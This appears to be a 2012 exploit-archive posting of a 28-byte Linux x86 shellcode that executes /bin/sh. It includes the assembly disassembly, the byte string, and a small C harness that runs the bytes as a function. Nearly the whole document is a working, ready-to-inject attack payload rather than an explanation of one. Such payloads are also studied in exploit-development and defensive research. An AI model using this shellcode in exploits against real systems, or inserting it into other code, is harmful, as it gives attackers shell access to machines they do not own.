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Linux x86 execve("/bin/sh") Shellcode

Linux x86 execve("/bin/sh") Shellcode
Posted Jul 25, 2012
Authored by Jean Pascal Pereira

28 bytes small Linux x86 execve("/bin/sh") shellcode.

tags | x86, shellcode
systems | linux
MD5 | 5201e4b8635fa473e6b4181f1cabecac

Linux x86 execve("/bin/sh") Shellcode

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/*
Title: Linux x86 execve("/bin/sh") - 28 bytes
Author: Jean Pascal Pereira <pereira@secbiz.de>
Web: http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push $0x68732f2f
8048068: 68 2f 62 69 6e push $0x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov $0xb,%al
8048075: cd 80 int $0x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
(*(void (*)()) shellcode)();
}

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